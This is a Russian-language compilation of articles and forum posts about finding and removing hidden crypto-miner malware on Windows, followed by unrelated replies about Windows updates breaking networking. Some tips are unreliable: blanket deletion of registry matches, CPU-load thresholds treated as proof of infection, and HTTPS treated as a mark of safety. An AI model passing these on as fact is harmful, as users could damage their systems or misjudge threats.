Как найти и удалить вирус-майнер с компьютера
Во время онлайн-серфинга есть риск заразить компьютер скрытым вирусом-майнером. Он может самостоятельно использовать ПК или ноутбук для майнинга криптовалюты. Причем антивирус не всегда эффективен против такой программы, и от неё бывает сложно избавиться.
Что такое скрытый майнинг-вирус
Вредоносные программы-майнеры относятся к троянской группе вирусов. Они незаметно проникают в систему Windows и начинают использовать аппаратные ресурсы компьютера или ноутбука для майнинга криптовалюты.
Как только пользователь обнаружил, что такой майнинг выполняется с его ПК, необходимо сразу избавиться от вредоносной программы.
Чем опасен вирус-майнер для ПК
Если троян находится в системе Windows, то использование компьютера или ноутбука становится небезопасным. Любые пароли могут быть вычислены, а данные — удалены или украдены.
Если это троянская программа для майнинга, то она еще и негативно влияет на видеокарту и процессор. Работать на перегруженном ПК становится некомфортно. К тому же скрытый майнинг приводит к ускоренному износу оборудования.
Особенно чувствительны к таким нагрузкам ноутбуки. Они могут выходить из строя уже через несколько часов фонового майнинга. Вот почему нужно как можно скорее избавляться от скрытых программ.
Виды скрытых вирусов для майнинга
Вирусы для майнинга можно разделить на две основные группы.
Скрытый криптоджекинг
Такой вирус не загружается на ПК или ноутбук, а существует в виде встроенного в сайт онлайн-скрипта.
Когда пользователь попадает на зараженную страницу, скрипт активируется и ресурсы компьютера или ноутбука начинают использоваться для майнинга криптовалюты. А поскольку майнинг-программа встроена в сайт, антивирус не может ее удалить.
Обнаружить, что вредоносный скрипт начал работать против компьютера, можно по возросшей загрузке процессора.
Классический майнинг-вирус
Такой вирус имеет вид архива или файла. Он устанавливается незаметно, против желания пользователя. Если его не удалить, он будет запускаться при каждом включении компьютера.
Как правило, у такой программы только одна функция – использовать ПК для майнинга криптовалюты. Но иногда можно «подхватить» скрытый вирус, который проверяет кошельки пользователя и переводит его средства на счета хакера.
Как понять, что ПК заражен
Чтобы удалить вирус-майнер, его необходимо распознать. Проверьте компьютер антивирусом и выполните поиск зараженных файлов, если обнаружены такие симптомы:
Перегрузка видеокарты. Распознать эту проблему можно по внешним признакам: GPU начинает сильно шуметь (из-за интенсивного вращения кулера) и становится горячей на ощупь. Также определить нагрузку можно при помощи бесплатной программы GPU-Z.
Медленная работа ПК. Когда компьютер или ноутбук тормозит, нужно через диспетчер задач проверить нагрузку процессора. Если этот показатель на уровне 60% и более, то система Windows может быть заражена вирусом-майнером.
Повышенный расход RAM. Скрытый майнер использует все доступные ресурсы компьютера, в том числе оперативную память.
Удаление файлов, информации или настроек против желания пользователя и без его одобрения.
Повышенный расход онлайн-трафика. Скрытый майнер активен постоянно. А иногда трояны могут быть частью ботнета – хакерской сети, которая используется для DDOS-атак против внешних систем.
Замедление работы браузера. При поиске и посещении сайтов происходит отключение онлайн-соединения или удаление вкладок.
Диспетчер задач находит процессы с незнакомыми названиями, например «asikadl.exe».
Как найти и удалить скрытый вирус-майнер
Если обнаружен хоть один из описанных симптомов, необходимо проверить систему Windows антивирусом. Он помогает бороться против вредоносного софта и удалять его.
После проверки антивирусом стоит запустить программу Ccleaner или её аналог. Она находит и убирает из системы Windows весь мусор, который работает против неё. Для завершения процесса удаления нужно перезагрузить компьютер.
Иногда появляются вирусы для майнинга, которые могут добавлять себя в список доверенных программ. Тогда антивирус не сможет их найти и удалить.
Также новые майнеры умеют обнаруживать диспетчер задач и отключаться до того, как он появится на экране. Но в любом случае нужно проверять все процессы.
Ручной поиск скрытого майнера
Для ручной проверки компьютера откройте реестр:
Нажмите сочетание клавиш Win+R.
В появившемся окне введите слово regedit.
В открывшемся реестре можно обнаружить подозрительный процесс.
Для проверки необходимо:
в строке поиска ввести название вредоносной задачи;
нажать кнопку «Найти».
Таким образом можно обнаружить процессы, которые расходуют ресурсы. Часто у них названия в виде случайного набора символов.
После этого нужно избавиться от всех найденных подозрительных записей и перезагрузить компьютер. Если скрытый майнинг обнаружится повторно, значит, избавиться от вируса не удалось и нужно проверять компьютер другими способами.
Поиск скрытого майнера через планировщик задач
Чтобы вычислить скрытый майнинг через планировщик в Windows 10:
введите taskschd.msc в поле «Открыть»;
В окне планировщика заданий нужно найти и открыть папку «Библиотека планировщика заданий». В ней будут процессы, которые загружаются автоматически. Если кликнуть по любому из них, то в нижней части окна отобразится информация о задаче.
Здесь нужно проверить вкладки «Триггеры» и «Действия»:
В «Триггерах» указано, когда и как часто запускается процесс. Обратите внимание на те, что активируются при каждом включении ПК.
В «Условиях» можно найти информацию о том, за что именно отвечает этот процесс: например, за обнаружение и загрузку определённой программы.
Подозрительные процессы необходимо убрать. Для этого нужно кликнуть правой кнопкой мыши по названию задачи и выбрать пункт «Отключить». При этом удаления майнинг-вируса не происходит, но он не сможет полноценно работать.
Остановив подозрительные задачи, нужно проверить загрузку процессора. Если он начал работать нормально, то найденные программы нужно убрать из автозагрузки. Удаление выполняется так же, как и отключение, только кликнуть нужно на пункт «Удалить».
Более тщательно проверить автозагрузку можно с помощью бесплатной программы AnVir Task Manager. Она ищет и проверяет задачи, которые запускаются автоматически.
Для обнаружения и удаления более сложного вредоносного софта нужно загрузить антивирус, например программу Dr. Web. Она выполняет глубокую проверку системы Windows. Через ее интерфейс можно избавиться от любых подозрительных файлов и процессов (не только от скрытого майнинга).
Перед тем как удалять вирус, лучше создать бэкап для восстановления системы.
Защита компьютера от майнинг-вирусов
Защитить ПК помогут следующие рекомендации:
Установите на ПК образ чистой и проверенной системы Windows. Если обнаружены признаки заражения скрытым майнером, нужно запустить процесс ее восстановления. Это можно делать каждые 2—3 месяца.
Установите антивирус. Важно регулярно обновлять антивирусные базы.
Не забывайте проверять информацию о программах перед их скачиванием. Так можно обнаружить вирус для майнинга еще до того, как он попадет на ПК.
Проверяйте антивирусом все скачанные файлы и при обнаружении вируса удаляйте его. Так можно избавиться от программ скрытого майнинга, которые уже скачаны, но еще не запущены.
Работайте онлайн с включенными антивирусом и брандмауэром. Если софт обнаружит опасный сайт, лучше его закрыть.
Внесите опасные сайты в файл hosts. Для этого можно использовать списки с портала GitHub. В нём есть раздел с информацией для обнаружения браузерного майнинга. Там же размещена инструкция, как защититься от вирусов.
Не выполняйте действия от имени администратора. Если таким образом запустить программу-майнер, то она получит максимальный доступ к ресурсам ПК и избавиться от нее будет очень сложно.
Разрешите запуск только проверенных программ. Для этого в системе Windows есть утилита secpol.msc. В ней можно создать политику проверки и ограниченного использования ПО.
Установите разрешение на использование только определенных портов. Соответствующие настройки находятся в меню антивируса и брандмауэра.
Установите на роутере надежный пароль, а также уберите его обнаружение и удаленный онлайн-доступ.
Запретите другим пользователям поиск и установку программ.
Поставьте пароль к системе Windows, чтобы исключить возможность несанкционированного использования ПК.
Не заходите на сомнительные сайты без онлайн-сертификатов. Безопасные ресурсы можно узнать по значку ssl (https).
Заблокируйте скриптовые коды JavaScript, которые находятся в настройках браузера. Так можно убрать возможность запуска вредоносного кода, подключающегося онлайн через браузер. При этом подвижные элементы сайтов тоже перестанут корректно определяться и отображаться.
Включите обнаружение и защиту против майнинга в браузере Chrome. Это можно сделать в настройках в разделе «Конфиденциальность и безопасность».
В качестве дополнительной меры защиты можно установить фильтры поиска и удаления рекламных баннеров – AdBlock, uBlock и прочие.
Как найти и удалить майнер с компьютера Windows
Я, журналист Telegram-канала, Раевская Ксения. Хочу рассказать вам как обнаружить вирусы-майнеры, избавиться и обезопасить свой компьютер от них.
Некоторые пользователи время от времени встречаются с зависаниями ПК. Этому есть множество причин — от слабых комплектующих до заполненной памяти. Но так же устройства начинают виснуть из-за компьютерных вирусов. Они бывают разными, но мы приведем в пример вирусы, которые добывают криптовалюты за счет вычислительных мощностей зараженных ПК. Такие вредоносные программы являются очень популярными среди злоумышленников еще с 2018 года. Именно поэтому мы считаем, что спустя 4 года каждому пользователю нужно знать, как найти майнер на компьютере Windows 7, 10 вовремя. В противном случае ПК может сломаться. Также есть риск утечки персональных данных.
Что такое вирус-майнер
Вирус-майнер — это вредоносная компьютерная программа, которая использует вычислительные ресурсы ПК для добычи криптовалюты. Такая программа работает в автоматическом режиме и никак не уведомляет пользователей о добыче монет.
Принцип работы
Вирус-майнеры (далее зловреды) создают хакеры и с помощью вредоносных программных обеспечений (ПО) задействуют ресурсы зараженных ПК для добычи криптовалют. Вирусы майнят цифровые монеты прямо на компьютерах жертв, после чего автоматически отправляют добытые криптовалюты на кошельки злоумышленников.
Чем опасен
В основном происходит быстрый износ компьютерных комплектующих. Майнеры сильно нагружают их и оборудование попросту не выдерживает ежедневного майнинга. Как итог компьютеры выходят из строя быстрее, чем при обычном режиме работы.
Обычно ломаются такие комплектующие как:
Модули оперативной памяти (ОЗУ или DRAM);
Как мы уже сказали ранее, ПК со скрытыми майнерами могут сильно тормозить и зависать и это связано с высокой загрузкой комплектующих. Оборудование не успевает обрабатывать другие задачи.
Многие вирус-майнеры собирают информацию о пользователях, а так же воруют фотографии и другие файлы, регистрационные данные разных аккаунтов и даже криптовалютные кошельки. Что в свою очередь приводит к сливу сведений, потере учетных записей и сбережений.
Способы заражения вирусом
Существует 2 основных метода загрузки замаскированного майнера:
Скачивание файлов из непроверенных источников. Часто зловреды встроены в нелицензированный контент.
Чтение спама. В рассылки злоумышленники тоже встраивают вредоносные программы. Но пока что заражение через спам — редкость.
Обычно криптомайнер скачивается сразу с искомым файлом. Но и возможно, что сначала загружается мошенническая утилита, которая незаметно скачивает вирус из интернета чуть позже. Такие утилиты не присылают уведомление о загрузках.
Как прячется на ПК
Работу вирус-майнеров обычно контролируют удаленные сервисы, маскирующие программы на ПК. При этом сервисы автоматически контролируют запуск ПО, их поведение в системе и другие действия.
Обычно вирусы отключаются при запуске тяжелых приложений: программ для обработки видео, требовательных игры и пр. Автоматическое отключение криптомайнеров позволяет зараженным ПК полностью тратить свои ресурсы на открытые приложения. И тогда компьютер лишь временно не виснет и не тормозит. После закрытия тяжелых приложений вредоносные ПО снова начинают функционировать.
Часть удаленных сервисов отслеживают программы системного мониторинга. Злоумышленники настраивают автоматическое отключение майнеров, если пользователи запускают ПО. Вирусные программы «выгружаются» из списка текущих процессов и становятся незаметными.
Как найти майнер на компьютере
Обнаружить ПО могут антивирусы с обновленными базами данных, но в основном они находят лишь простые вредоносные софты. Однако проверять компьютеры на наличие майнеров антивирусами все равно полезно. Делать это рекомендуется при внезапном появлении зависаний ПК.
Найти хорошо скрытые криптомайнеры трудно. Есть 2 эффективных метода их обнаружения:
Через диспетчер задач;
С помощью сторонних программ.
В операционную систему (ОС) Windows встроена служба мониторинга текущих процессов (Диспетчер задач), позволяющая отслеживать нагрузку на различные комплектующие ПК, которую создают открытые приложения. Также через диспетчер можно:
Настраивать автозапуск программ;
Принудительно закрывать приложения.
Открыть диспетчер задач можно нажатием сочетания клавиш Ctrl+Shift+Esc, а также через поиск в меню «Пуск».
Алгоритм отслеживания майнера через диспетчер задач:
Нажать «Подробнее» в левом нижнем углу окна;
Завершить работу лишних приложений через раздел «Процессы». Нужно закрыть запущенные программы, браузеры и прочее, что бы освободить ресурсы компьютера;
Отсортировать приложения по колонке «Графический процессор»(В некоторых версиях Windows 10 она называется GPU);
Проследить за работой служб и программ. Лучше провести несколько мониторингов по 10-15 минут в разное время. При проверке нельзя даже двигать компьютерной мышью.
В случае появления случайного процесса с высокой нагрузкой GPU нужно изучить его происхождение. Сделать это можно через вкладку «Подробности». Если появившимся процессом окажется вирус, необходимо срочно избавиться от майнера на компьютере.
Самые опасные майнеры автоматически выключают службу в течение 5 минут в среднем. Это явный признак наличия зловредов. Их нужно срочно обнаружить и удалить. Если сделать это самому не получается, лучше обратиться в сервисный центр.
Иногда в диспетчере отображается ненормально высокая загрузка центрального процессора из-за браузера, когда он запущен. В иных же случаях это определенно скрытый веб-майнер. Но если в компьютер или ноутбук установлен слабый процессор, чаще всего переживать не о чем.
AnVir Task Manager
Старые версии ОС Windows не имеют колонки «Графический процессор» в диспетчере и для обнаружения скрытых криптовалютных майнеров нужно применять сторонние ПО. Одно из таких — популярный утилит для мониторинга — AnVir Task Manager, позволяет отслеживать гораздо больше данных, чем встроенный инструмент Windows.
Для начала его работы нужно запустить программу и не совершать никаких действий. Если в ПО появится активность, которая сильно нагружает CPU или GPU, потребуется вычислить ее происхождение. Скрытый майнер нужно убрать, воспользовавшись любым доступным способом.
Как удалить майнер с ПК
Существуют 3 метода удаления майнера:
С помощью «лечащей» утилиты;
Вручную через реестр.
Использование антивируса — самое логичное действие. Если он установлен на ПК, его нужно применить в первую очередь. К сожалению, только часть антивирусов может обозначить их как потенциальные угрозы. Их тоже требуется устранять.
Удалить вирусы также можно вручную. Для начала нужно распознать майнер, а затем выполнить следующие действия:
Нажать Win+R на клавиатуре;
Ввести команду regedit;
Кликнуть по «Да» в появившемся окне;
Нажать Ctrl+F, чтобы открыть окно поиска;
Ввести название процесса, за которым скрывается вирус-майнер;
Нажать «Найти далее»;
Удалить все совпадения в выдаче реестра;
После выполнения последнего шага реестр обновится. Файлы предполагаемого майнера удалятся. Чтобы проверить результат, нужно будет снова проследить за вычислительной нагрузкой на комплектующие компьютера через «диспетчер задач».
Как защитить ПК от майнеров
Не скачивать файлы из непроверенных источников. Обычно это главный путь заражения компьютеров криптомайнерами;
Не рекомендуется посещать подозрительные сайты. Они могут фоново без разрешений пользователей загружать вредоносные программы на компьютер.
Злоумышленники специально разрабатывают веб-сервисы для добычи криптовалют на компьютерах интернет-пользователей. Такие сайты автоматически запускают майнинг при посещениях. При этом они не заражают сам компьютер.
Существует 2 основных метода защиты от скрытого майнинга в браузере:
Деликатный — использование расширений;
Грубый — отключение JavaScript (JS) через настройки браузера.
Первый метод отличается удобством. Браузерные расширения блокируют подозрительные скрипты выборочно. Они постоянно проводят онлайн-проверки ПК на майнеры, что позволяет не нарушать работу пользователя с надежными сайтами.
Рассмотрим 3 примера расширений для блокировки скриптов:
ScriptBlock — для браузера Chrome.
NoScript — для Firefox.
ScriptSafe — для Chrome.
Оказать помощь могут и блокировщики браузерной рекламы. Например, такие как AdBlock и uBlock (имеют списки серверов, на которых работают скрытые криптомайнеры).
К тому же существуют специальные расширения для блокировки браузерных майнеров, чьи разработчики периодически обновляют списки скрытых добытчиков криптовалют. В число таких расширений входят NoCoin, MinerBlock и др.
Второй метод с отключением JavaScript считается грубым, в связи с нарушением работы многих сайтов. Сервисы с большим числом опций часто функционируют именно на JavaScript. Отключаем скрипт и сайты перестанут нормально работать. Однако метод почти на 100% гарантирует очистку от скрытых криптомайнеров.
Алгоритм отключения скрипта на примере Chrome:
Нажать «Настройка и управление Google Chrome» (иконка с 3 вертикальными точками в правом верхнем углу интерфейса);
Открыть вкладку «Настройки»;
Перейти в раздел «Конфиденциальность и безопасность»;
Открыть «Настройки сайтов»;
Выбрать JavaScript под пунктом «Контент»;
Нажать «Запретить сайтам использовать JavaScript».
За седьмым шагом последует исполнение программных кодов JS, которое станет запрещено в Chrome. При необходимости через настройки браузера можно создать исключения для надежных знакомых сервисов.
Программы для поиска майнеров на ПК
Сейчас существует множество программных обеспечений для мониторинга системных процессов и обнаружения зловредов. В таблице ниже представлены 3 наиболее популярных софта, позволяющих пользователю найти и удалить скрытый вирус-майнер на своем ПК.
Как обнаружить и удалить скрытый майнер — пошаговая инструкция в картинках
Майнинг – одно из самых известных понятий в криптомире. А криптосистемы очень популярны в течении последних нескольких лет.
Интернет переполнен информацией о криптовалютах, их добыче и прибыли, которую они приносят. А чем больше пользователей интересуются чем-то, тем больше вариантов для мошенничества.
Одним из таких схем «черного заработка» является скрытый майнинг. Его начало положено в 2011 году, но это были отдельные случаи, сейчас это довольно серьезная проблема.
Для того, чтобы обезопасить свою технику, важно знать, что такое скрытый майнинг, как найти такую программу, удалить и предотвратить попытки их появления.
Содержание:
Что такое скрытый майнер
Скрытый майнер – стороннее программное обеспечение, которое запускает майнинг в фоновом режиме, вне желания пользователя.
Оно скачивается на компьютер и использует его мощности для добычи монет, которые затем отправляются на кошелек мошенника.
Ботнеты заражают офисные компьютеры, которые чаще всего имеют слабые характеристики. Именно поэтому для майнинга используется центральный процессор.
Чаще всего заражение происходит из-за открытия вредоносных сообщений, скачивания неизвестных файлов и просмотра спам-рассылки.
Наиболее любопытно то, что те, кто занимается скрытым майнингом, получают за это совсем небольшую прибыль.
Так, если поставить ПО на 200 компьютеров, можно получить около 30 долларов в месяц.
Единственное, что привлекает – пассивность дохода, ведь кроме заражения делать больше ничего не надо самому.
Детальных инструкций о том, как распознать и удалить ботнет, в Интернете очень мало. Однако перед тем, как разбираться в поисках скрытого майнера, следует понять, почему он вообще вредит компьютеру.
Почему скрытый майнер вредит компьютеру
Вредоносная программа чем-то похожа на обычный компьютерный вирус. Она также выдает себя за системный файл и может очень перегружать комп.
Однако они действуют по разным схемам.
Именно из-за того, что такое ПО не видит ни одна антивирусная программа, оно и является опасным.
Ведь для того, чтобы обезвредить его, нужно потратить разбираться в характеристиках и файловой системе своего ПК, что для обычного пользователя может оказаться большой проблемой.
Процесс поиска и полного удаления майнера может показаться непостижимой задачей.
Кроме того, многие мошенники пошли дальше, и создают скрытые майнеры, которые «не видит» обычная панель задач.
Такие ПО обнаружить можно только, анализируя работу компьютера, если он сильно тормозит – ему нужна качественная ручная проверка.
- Уменьшает срок службы техники
В связи с тем, что для майнинга порой требуется максимальная мощность, такая нагрузка в течение длительного периода негативно влияет на «железо» компьютера.
- Снижает производительность
Как упоминалось ранее, для добычи криптовалют потребляется много вычислительной мощности, а значит, если пользователь ПК параллельно начинает работать, техника начинает подвисать.
- Открытый доступ к личным данным
Как обнаружить скрытый майнинг-бот на компьютере
Первое, что нужно сделать, просканировать компьютер с помощью антивируса, возможно, на ПК «поселился» майнер, которые не скрыт от таких программ как мальварбайтес.
Некоторые вредоносные ПО могут:
- отключаться при работе с «тяжелыми» программами;
- скрываться в диспетчере задач под другими маркировками программам;
- работать только во время отсутствия действий пользователя.
Если вам показалось, что ПК работает не так быстро, как обычно, а антивирус ничего не показывает, стоит произвести такие действия:
- проверить деятельность девайса при обычной загруженности (используя простые программы или браузер);
- попробовать поработать в более «тяжелых» программах, которые сильно нагружают видеокарту и процессор (игры);
- скачать программу для мониторинга работы ПК (AIDA64 – наиболее простая) и протестировать нагрузки на видеокарту и процессор;
- объединить данные и посмотреть на общую картину.
Примечательно то, что при запуске диспетчера задач (ДЗ), скрытые майнеры перестают работать и показатели деятельности компьютера стают прежними.
Поэтому ДЗ никак не покажет работу сторонней программы.
Как удалить скрытый майнер безвозвратно
Первым делом стоит упомянуть про интернет-майнинг.
Хакеру не обязательно создавать ПО для ПК, есть возможность просто разработать скрипт и получить доступ к ресурсам.
Мошенник просто загружает созданный код на сайт, который будет добывать криптовалюты во время пребывания посетителей на странице.
Обнаружить это достаточно просто, при посещении страницы техника начнет работать медленно, а диспетчер задач отобразит увеличенную нагрузку.
Для того, чтобы обезопасить свое техустройство от скрытого майнера онлайн, нужно просто выйти из такой страницы.
С помощью Диспетчера Задач
Если дело касается скрытого майнинга через ПО, такое простое решение не поможет. Для того, чтобы удалить майнер навсегда без установки специальных программ, необходимо выполнить 5 простых действий:
Шаг 1. Заходим в «Панель управления» — «Управление» — «Диспетчер задач» — «Подробности».
Шаг 2. Просматриваем все задачи, ботнет отличается от остальных (часто это несвязный набор символов).
Шаг 3. Во вкладке «Действия» будет отображено запуск файла с названием из Шага 2.
Шаг 4. Очень часто скрытый майнер скрывается под видом системного обновления. Для этого можно ввести название файла в поисковик и посмотреть, что он запускает.
Шаг 5. С помощью поиска в реестре удаляем все точные совпадения.
Шаг 6. Перегружаем систему.
С помощью программы AnVir Task Manager
Шаг 1. Скачать и установить программу на компьютер.
Шаг 2. Открыть программу и проверить все запущенные задачи.
Шаг 3. Если какая-то задача кажется подозрительной, можно вызвать дополнительную информацию, для этого следует навести курсором на операцию (важно помнить, множество ботнетов скрываются под программным обеспечением, однако они не могут подделать данные файла).
Шаг 4; Правой кнопкой мыши нажимаем на файл – «Детальная информация» — «Производительность» выбираем 1 день и смотрим на деятельность компьютера в этот период.
Шаг 5. Если эта задача сильно нагружала систему, необходимо навести курсор на нее и запомнить название процесса и путь.
Шаг 6. Нажимаем правой кнопкой мыши на процесс – «Завершить процесс».
Шаг 7. Заходим в реестр.
Шаг 8. «Правка» — «Найти».
Шаг 9. Вводим в поисковое окно название файла, удаляем все совпадения.
Как удалить скрытый майнер
Шутки шутками, но недавно столкнулся с такой ситуацией, когда после перезагрузки мой далеко не слабый комп вдруг в простое начал шуметь, температура процессора сразу поднялась до 70 градусов, как при игре. Открываю диспетчер задач, нагрузка резко падает, и всё становится как обычно. После закрытия диспетчера задач вдруг опять вентиляторы начинают шуметь, процесс начинает греться, открываю диспетчер задач, история повторяется. Если открыть Диспетчер задач и быстро отсортировать по нагрузке на процессор, то становится видно, что систему грузит программа MicrosoftHost.exe, которая находится в папке C:\ProgramData\WindowsTask\. Сразу первым делом пытаюсь зайти на сайт Dr.Web, чтобы скачать CureIt, но при переходе на сайт, меня вдруг перекидывает на страницу 8.8.8.8 вроде, или что-то такое было. Ну после этого я сразу понял, что подцепил какой-то вирус, если погуглить по названию процесса, то пишут, что это скрытый майнер, что объясняет почему там грузит систему одна программа. Притом, если скачать CureIt с телефона и запустить на компе, то CureIt находит вирус и удаляет, как будто бы. Но после перезагрузки всё остаётся также.
Решил написать, как почистить данный вирус, если знать что делать, то времени занимает немного, но поначалу я часа полтора сидел, пока всё почистил. Но некоторые моменты сделаны довольно хитро, если не очень хорошо ориентируешься в компах, то фиг почистишь этот вирус.
В общем для того, чтобы эту бяку полностью вычистить надо проделать следующие шаги.
Сразу говорю, я точно уже не помню, как назывались процессы и т.д., и это действия только для того типа скрытого майнера, который я поймал, у других могут отличаться. Но думаю сама последовательность действий может помочь.
1. Первым делом включаем отображение системных файлов, потому что папки с вирусом созданы как системные. И включаем отображение скрытых файлов. После всех действий можно обратно выключить. Нужно сделать как на скрине.
2. После этого открываем файл hosts, который находится в папке C:\Windows\System32\drivers\etc\. Там будет видно много строк наподобие такой
Не помню точно, на какой адрес было перенаправление, но в файле будет куча подобных строк, с адресами всех популярных антивирусов. Удаляем все эти строки, и сохраняем файл hosts. Редактировать надо в режиме администратора, иначе прав не хватит.
3. Теперь надо найти все процессы вируса. Было несколько папок с вирусом, которые лежали в папке C:\ProgramData\. Чтобы наверняка их найти, открываем Диспетчер задач, и включаем отображение столбца Командная строка, и ищем процессы, которые находятся в папке C:\ProgramData\. Например, помню был один вирус, который назывался Realtek HD, он был со значком динамика, т.е. маскировался под звуковые драйвера, но запущен он был не из папки C:\Windows\System32\, а из папки C:\ProgramData\.
Если нашли такой процесс, нажимаем правой кнопкой на процесс, далее Свойства, и открываем вкладку Цифровые подписи, у нормальных драйверов и процесс будут подписи, у вируса их не будет.
Находим все такие процесс, которые лежат в папках внутри C:\ProgramData\ и останавливаем их, иначе не получится удалить папку, пока программа внутри неё запущена.
4. Далее заходим в папку C:\ProgramData\. Там видим кучу системных папок, среди которых будут папки с именами известных антивирусов (думаю из-за этого CureIt и не мог ничего сделать, потому что не было прав на папку), и папки, в которых лежат процессы, которые мы остановили. Сделать с этими папками мы ничего не можем, т.к. при попытке открыть или что-то сделать, нам пишет, что нет прав, даже если у нас права администратора.
С каждой папкой нам необходимо сделать следующие действия:
Нажимаем правой кнопкой -> Свойства -> Безопасность -> Дополнительно.
В открывшемся окне мы видим, что у этой папки нет владельца. Нажимаем Изменить и указываем свою учетную запись владельцем.
И обязательно ставим галочку для дочерних объектов. После этого везде нажимаем ОК, чтобы сохранить. Теперь спокойно удаляем эту папку. Это нужно сделать со всеми папками с именами антивирусов и с процессами, которые мы ранее удалили. После этого надо в зайти в папки
C:\Program Files (x86)\
И точно также изменить владельца и удалить папки с именами антивирусов и различных программ от вирусов. Мне к 20 папке надоело проделывать все эти действия, поэтому можно сделать проще, через командную строку. Можно сразу в блокноте подготовить список всех папок и выполнить
takeown /F C:\ProgramData\Avira\ /R /D Y
takeown /F C:\ProgramData\DrWeb\ /R /D Y
5. Готово. После этого можно скачать тот же CureIt и всё проверить, также можно обратно скрыть системные файлы. И ещё этот майнер добавил свои папки в исключения Защитника Windows, на всякий случай надо тоже оттуда удалить эти папки.
1. Файл хост скрыт и его не открыть. Ищем его содержание в инете, вставляем в блокнот, сохраняем с названием host, и вставляем в папку etc с заменой.
2. Майнер блокирует запуск всех ехе, и не дает запуск антивируса? Скачиваем RogueKiller. Прога написанная на основе браузера инернетэкплорер. Запускается при ЛЮБЫХ запретах, и чистит их. После чего запускаем уже антивирус.
Такие пакости всегда лучше убирать, запускаясь с флешки, никаких танцев с бубнами и прятками не будет. У большинства топовых антивирусников есть загрузочный образ для флешки со всем необходимым.
Оо, у меня был точно такой же вирус! Изобретательный до жути.
Спасибо за шпаргалку, надеюсь, никому больше не пригодится 😅
Ответ на пост «Очередной обновление Windows 10 убивает подключение к сети»
С данной проблемой не сталкивался пока, возможно, что где-то всплывёт. Но хорошо, что уже понятно, где копать в случае чего. Тем более что не далее как позавчера был инцидент: с утра никто из пользователей не мог зайти на сетевые папки на 2012 сервере.
Обновление KB5028228 грохает авторизацию в домене, если контроллер домена работает на Самбе. После его установки клиенты не могут зайти на сетевые шары — ошибка "невозможно установить доверительные отношения станции с контроллером домена".
Про Винду 10, а также более новые сервера (2019) тоже что то похожее писали на Reddit, но там другое обновление так пакостит. Кажется KB5028166. Но если "домен на Самбе" вам ни о чём не говорит, то скорее всего вас эта проблема не коснётся. Либо это проблемы вашего админа.
Ответ на пост «Ответ на пост "Очередной обновление Windows 10 убивает подключение к сети"»
Не совсем в тему, но тоже об обновлениях. Есть у меня ноут Acer ES1-711 и это далеко не новая машинка, зато с огромным дисплеем 17.3″ и офигенной клавиатурой. С ним приключилась беда — умер жёсткий диск 🙁
Не такая уж и критичная проблема, было решено поставить SSD и сразу накатить 10-ку (раньше Windows 7 стояла). Однако столкнулся с проблемой — пропал тачпад, ну ,то-есть, вообще пропал и даже в диспетчере устройств его нет. Погуглив слегка, нашел, что решение просто офигенное, а именно нужно в BIOS режим тачпада переключить из advanced в basic. Вот только у меня и опции такой не было -_-.
Ну ок, обновил BIOS и все появилось. Тач тоже завелся)
Офигеть как меня впечатлило, что устройство просто может пропасть при обновлении, а решать нужно обновлением BIOS. Может это и норма, но с таким ранее не сталкивался
Ответ на пост «Очередной обновление Windows 10 убивает подключение к сети»
Пишу, потому что годный пост адски заминусили на ровном месте.
Позавчера обновился и сеть отвалилась. Сначала искал проблему в роутере, провайдере, проводе и тд. Перезагружался 10раз, переставлял драйвера сетевой, проводил сброс сети, ничего не помогло. Решил откатом системы до последнего обновления. А только что снова винда обновилась, и снова отвалилась сеть. Вот полез посмотреть номер обновления, забил в гугол и вот выпал этот заминусованнный пост.
Возможно проблема происходит только на определённом железе, но она есть. Вылечилось всё удалением галочки Network LightWeight Filter. Даже без перезагрузки. Надеюсь рецидивов не будет. Всём добра.
Ответ на пост «Очередной обновление Windows 10 убивает подключение к сети»
Для тех у кого с обновой вывалилось сетевое подключение, решение проблемы:
В свойствах подключения найти Network LightWeight Filter и снять с него галочку. Без рейтинга, просто чтобы сэкономить людям немного времени.
Компьютерный мастер. Часть 270. Как изощрённо вирус с антивирусами боролся. примитивно, но эффективно.
Вчера был интересный случай, у клиента были жалобы на годовалый ноут на Ryzen-5 5300U, что он шумит громко и постоянно включается кулер даже с закрытой крышкой и меня вызвали заменить термопасту и почистить. но всё оказалось гораздо интереснее:
Я сразу заметил что windows 10 без антивируса и решил установить китайца Total 360, и первое с чем столкнулся, что не могу зайти на его сайт, ну думаю хз санкции давай через VPN попробую, через vpn скачал. но тут сюрприз антивирус просто не запускается, скачал касперского также через vpn и та же история. Скачать drweb cureit не возможно, через пару секунд после начала его загрузки любой браузер закрывался автоматически.
Я начал искать системные ошибки и неожиданно понял что сайт remontka.pro тоже не открывается. и тут я допер, что у нас в компе кто-то живет, причем очень хитрый майнер. при работе неожиданно начинают крутиться кулеры, но при попытке в диспетчере задач увидеть кто грузит систему там никого нет и вентилятор сразу успокаивается. т.е. вирус отслеживает наши действия в режиме онлайн.
Прикол как именно он запретил запуск установщиков антивирусов, он прописал запрет в реестре на запуск конкретных файлов:
А в файле HOSTS запрещенными оказалось более сотни сайтов, помогающие выявить вирус.
Причем даже после удаления ключей в реестре и файла хост, антивирусы начали скачиваться и запускаться, но отказывались устанавливаться, выдавая разнообразные ошибки. оказывается вирус применил ещё один хитрый трюк, он создал в C:\Program Files стандартные папки установки для всех антивирусов, сделал их только для чтения и скрыл пометив как системные. вот грязный извращенец)))
загрузка в безопасном режиме, чистка руками папок в C:\Program Files, подключение телефона в качестве usb модема и через него закачка CUREIT, антивирусная проверка, затем загрузка в обычном режиме еще один прогон CUREIT удаление вируса:
установка полноценного 360 Total Security, всем рекомендую кстати работает быстро ловит все известные вирусы не хуже касперского. Конечно передаёт все ваши данные товарищу СИ, но присмотр большого брата никому ещё не мешал)))
По итогам клиент доволен, ноут работает бесшумно, не греется и не просыпается с закрытой крышкой.
Rutracker и модераторы в доле с майнерами
На известном нам сайте с недавних пор пошли непонятные движения, и некоторые раздачи модераторы Намеренно игнорируют, несмотря на очевидные факты
Например раздача на программу Malwarebytes repack by Emir Cardan
169 / 8 на момент написания поста
После установки программы начинаются заметные тормоза системы и кулер набирает обороты улетая в космос.
Хорошо, сносим программу через панель управления, но эффекта ноль.
В диспетчере задач появляется несколько интересных процессов taskhos, taskhostw которые ведут в подпапку RealtekAudio, с которой нельзя просто так взаимодействовать через консоль cmd или в проводнике, она скрыта не обычным способом Windows, и просто так с ней ничего не сделать
Так вот , загрузка цп 100% в простое
При заходе в диспетчер стремительно падает, и при попытке открыть расположение вредных процессов закрывается диспетчер задач и окно папки появляется на долю секунды
